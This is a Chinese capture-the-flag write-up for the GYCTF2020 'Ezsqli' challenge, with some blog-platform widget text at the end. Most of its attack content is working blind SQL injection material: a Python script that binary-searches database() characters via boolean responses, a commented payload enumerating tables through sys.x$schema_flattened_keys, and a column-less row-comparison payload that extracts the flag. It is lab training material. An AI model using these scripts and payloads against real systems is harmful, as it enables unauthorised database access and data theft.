[GYCTF2020]Ezsqli1

 

有相应的回显

 

可以对其进行盲注

长为507的是被过滤的

输入1&&(ascii(substr(database(),1,1))>32)#

成功回显则可用来盲注

借鉴大佬脚本

import requests
import time
url = 'http://a713b075-e461-480d-82a8-36c99d85f52e.node3.buuoj.cn'
i = 0
flag = ''
while True:
    i += 1
    begin = 32
    end = 126
    tmp = (begin + end) // 2
    while begin < end:
        #print(begin, tmp, end)
        time.sleep(0.1)
        payload = {"id":"1&&(ascii(substr(database(),%d,1))>%d)#" % (i, tmp)}
     #payload = {"id":"1&&(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.x$schema_flattened_keys)where(TABLE_SCHEMA=database())),%d,1))>%d)#" % (i, tmp)}

        r = requests.post(url,data=payload)
        if 'Nu1L' in r.text:
            begin = tmp + 1
            tmp = (begin + end) // 2
        else:
            end = tmp
            tmp = (begin + end) // 2

    flag += chr(tmp)
    print(flag)
    if begin == 32:
        break

爆表

字段爆破用无列名爆破

1&&((select 1,'a') < (select * from f1ag_1s_h3r3_hhhhh))

 

 比较首字符<就返回1反之返回0

前面select的字段有两个和后面的对应

payload = {"id":"1&&((select 1,'{}') < (select * from f1ag_1s_h3r3_hhhhh))".format(flag+chr(tmp))}

构建相应的脚本可爆出flag

这题好像每个人的flag都不一样有点骚 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值